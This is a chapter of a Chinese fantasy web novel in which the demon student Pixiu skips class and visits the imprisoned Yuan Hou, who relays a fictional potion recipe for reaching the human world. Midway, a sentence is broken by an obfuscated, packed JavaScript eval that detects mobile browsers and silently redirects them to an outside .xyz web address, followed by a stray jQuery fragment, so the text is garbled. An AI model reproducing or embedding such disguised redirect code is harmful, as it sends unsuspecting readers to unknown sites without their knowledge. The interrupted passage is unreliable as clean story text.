皮修干脆利落地把委托信推了回去。
“我们不收。”
小姑娘妖张了张嘴,貌似还想再争辩两句。
皮修似笑非笑地看她一眼,把手里最后一块翡翠捏碎了。眼神锐利如刀。
小姑娘妖瞬间噤声,不敢再纠缠了。
“没意思。”皮修的正经样永远维持不了三秒。他懒懒散散地打了个呵欠,伸了个懒腰,慢慢踱开步子:“都是怪力乱人的东西。我先走了。”
“去哪里?”
“自习室!”
有生以来第一次听到皮修主动要求去自习室,凌波非常感动。如果不是想起后面还有三节课的话,他的感动可能还会持续得更久一些。
“翘课去自习?下一节可是上清童子的政治课!”
“没事,放学前回。”皮修满不在乎地挥了挥手,留下一个潇洒的背影。
十分钟后。
本应到达自习室的皮修溜到了操场西侧的矮墙边。
西操场矮墙,有口皆碑的新世界大门,千年逃课生的第一选择。
不过这些荣誉称号都已成过眼云烟。
仅仅几个星期没逃课,狻猊主任居然悄没声儿把矮墙加高了。
皮修盯着两妖高的前矮墙,眼前浮现出狻猊主任得意洋洋的脸。
狻猊主任,这都是你逼我的!
他一咬牙,开始——巴啦啦变身。
一只貔貅崽开始爬墙。
从身高上来说,由一个高中生变身成貔貅崽子并不会增加什么爬墙优势;然而从设备上来说,优势增加的可大了。
特别声明,该设备不指代中看不中用的翅膀。
他熟稔地直起身子,把前爪搭在砖缝里,后腿矫健地一蹬,蹭蹭俩下就上了墙。
我还是很有攀岩天赋的!
皮修得意。
欣赏了一会儿高处的风景,他慢条斯理地弓起腰,准备跳下去。
然而一阵洪亮的喊声从身后传来。
“哎那边那个是谁!不许逃课,给我从墙上下来!啊不对,不许跳,给我老实呆着,注意安全!”
皮修被惊得抖了三抖,差点没从墙上摔下去。
铜符高中禁烟。好巧不巧,狻猊主任本想偷偷跑到无妖的高墙边过过烟瘾,却意外发现墙上一团白金的毛在阳光下亮得瞩目。也顾不上自己违规吸烟这件事会不会被翘课的学生发现,扯着嗓子就开始喊话。
双向奔赴的违规了属于是。
皮修不敢回头。
他思考了0.001秒,眼一闭,心一横,以一种刻意埋着脑袋的姿态,直直地从墙上跳了下去。
可别发现我是皮修啊!
他在心中虔诚咆哮。
狻猊主任眼睁睁地看着那团白金色的毛球貌似很不熟练地从墙上摔了下去。
满嘴的训诫被堵在嗓子口。
来不及分辨这是哪个不知天高地厚的混蛋,狻猊主任握着烟盒就往校外狂奔。
但愿这不识好歹的崽子有点跳楼基因,不然绝对要把腿摔断了!
哦,妖已经不见了。
估计没事。
赶到高墙外的狻猊主任看着空荡荡的街道老怀甚慰。
还成还成,不是那种要自由不要健康的傻妖。
长舒了一口气,抖着手拿出烟盒。
来一根压压惊。反正在校外了,倒也不用担心。
嗯?限量版99足金烟蒂?
一向中奖绝缘体的自己居然中了营销头彩?
回想起那很不常见的毛色,狻猊主任豁然开朗,心情格外舒畅。
小貔貅崽,衷心感谢你带来的滚滚财运!
作为回报,明儿请你写三千字检讨,外加国旗下朗读!
皮修并没有意识到自己已经掉马。
此时,他已经怀着非常复杂的心情站在了铜符监狱的门口。
其实按常理说,妖界监狱并不允许非亲属妖探监。
但是袁侯情况特殊。
故意杀妖加故意伤害未遂,且情节恶劣,考虑到袁侯还是未成年妖,法官獬豸(xiezhi)最终判处他无期徒刑。
袁侯主动要求加重刑罚,希望能被直接剥夺妖元。他说,自己不在乎魂飞魄散,比起在监狱里被关押至永远,更想自由地散成千魂万魄回归天地,也能实现另一种意义上的兄弟团聚。
法院当然不会同意。
没想到袁侯趁守卫兽不备,自行尝试剥夺妖元。当监狱守护兽狴犴(bian)赶到时,他的胸中只剩一分妖元三分魂魄了。
袁侯即将魂飞魄散。他说,自己当前最大的心愿是再见皮修一面,除此之外别无所求。
在不知道袁侯自夺妖元之前,皮修一直没肯见袁侯。
见我?皮修嗤之以鼻。我还不稀罕见你呢!变态!混蛋!给我好好承受被囚禁的万年孤独吧,你杀了一只朱眉魂,又试图伤害凌波,活该在铁窗中懊悔痛苦到永远!
但是今天,狴犴通过电话联系皮修说,袁侯的妖生大约只剩半月了,他还是坚持要见皮修。
皮修硬不下心了。
本来好端端的一只妖,要魂飞魄散了。
事情怎么就变成这样了呢?
皮修叹息。
隔着一扇铁窗,皮修见到了袁侯。
袁侯整只妖很平静,不是那种山雨欲来风满楼的平静,而是一种心如枯木的平静。
灰败。皮修这样形容他。
其实皮修想不明白袁侯为什么非要见他。
他本以为袁侯不甘心,想再和报警坏他好事的自己聊一聊,来证明最终的失败是出于无法阻挡的命运;又或者,袁侯想从自己下手,动摇或争取某些东西。
然而从看到袁侯的第一眼起,皮修就否定了这两种想法。现在的袁侯就像一抔已经板结、死去的黄土,生长不出任何希冀和不甘。
“好久不见。”袁侯勉强牵起嘴角,算是打招呼,“其实也没有很久吧。”
皮修直直地盯住他,没有说话。
“你一定在好奇我为什么要见你。”袁侯停了几秒,像是在等皮修接话。
这时候的袁侯倒没那么死气沉沉了。
皮修不想接话。他厌恶袁侯这种故弄玄虚和自说自话的语气,而且有一种没来由的预感:一旦顺着袁侯的心意接话,就会掉进对方事先布好的陷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962240|177697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
阱,再也爬不上来。
于是他选择继续硬梆梆地瞪着铁窗里的袁侯,不发一言。
等了好一会儿还是得不到皮修的答复的袁侯只好重新开口。
“我有事拜托你。我想请你代我向凌波说声抱歉,顺便传个话。”
“抱歉?”皮修只觉得滑天下之大稽,“你现在知道抱歉了?当初干什么去了?而且为什么要我转达,什么毛病——”
面对皮修的斥责,袁侯仍旧坦然自若。
“虽然不求凌波原谅,但是我想,他大约也不是不能理解我。”
皮修的脸色愈发难看。
如果不是在监狱,袁侯绝不可能平安无虞地坐在那。他高低得冲上去揍两拳,把这个莫名其妙自说自话的混蛋揍趴下。
现在动不了手,但也绝不可能继续聊下去了。
来这里就是浪费时间。
皮修利落地推开椅子,转身就要走。
“你大概还不知道吧,凌波也在找去人间的路。”袁侯以一种居高临下的语气慢慢道。
“老子当然知道!”皮修瞬间炸毛,气冲冲地转回身,“就算他想去人界,你俩也完全不一样,别把你和他扯在一起——凌波绝不可能为自己的利益伤害其他妖!”
“我没说他会伤害其他妖。”袁侯淡淡道,“我之前承诺把《荒废卷》的方子告诉他,一直还没找到机会和途径说。就拜托你代为传达了。”
“你还有脸提那个什么《荒废卷》?!”皮修被袁侯的厚颜无耻惊到了。
袁侯置若罔闻,开始背书。
“据载唐荒年间传有一方,名’通幽饮’,以泣珠鲛血泪未凝之目为主材,配琉璃鲛鳞、虚州丹砂、立春无根水、青蚨母子血,子时以玉杵研作流霞,三沸入血,望月诵咒七转,即可东渡黄泉。”
“其他目前能找到的、所谓能通人间的古籍方子我全都试过了,一些口口相传的童谣方子我也都试过了,都没用。如果这个《荒废卷》的方子也没有用的话,凌波大约也去不了人界了。”
“荒唐!”皮修的冷笑越来越大声。
“当时选择凌波并使用分化剂,一是因为我找不到其他琉璃色鳞片的鲛人,这个颜色太稀有了,二是必须‘以泣珠鲛血泪未凝之目为主材’。说实话,我当时并不清楚凌波是否为琉璃色鳞片,也不清楚他是否已经分化到平日可以泣珠的程度,所以试图用分化剂催化。如果凌波想要去人界,目前唯一的方法,就是拿他自己冒险一试。”袁侯面色平静。
皮修不想承认,由于古文水平太差,他之前完全没能听懂袁侯在背什么鬼东西。更何况气得头昏脑胀,也没心思分析袁侯在说啥。
但是经袁侯这么一解释,他好像有些懂了。
所以袁侯的意思是,现在已经没有其他可行的替代方法,只要凌波想要去人界,就必须在分化完全后挖去眼睛?
一阵幻痛。
“探视时间差不多结束了,就不再继续打扰你了。请帮我把话带到吧,如果实在不愿意也没关系。再也不见,皮修同学。”
袁侯穿过黑黑的小门,头也不回地离开了探监室。
只留下皮修独自整理纷乱的思绪。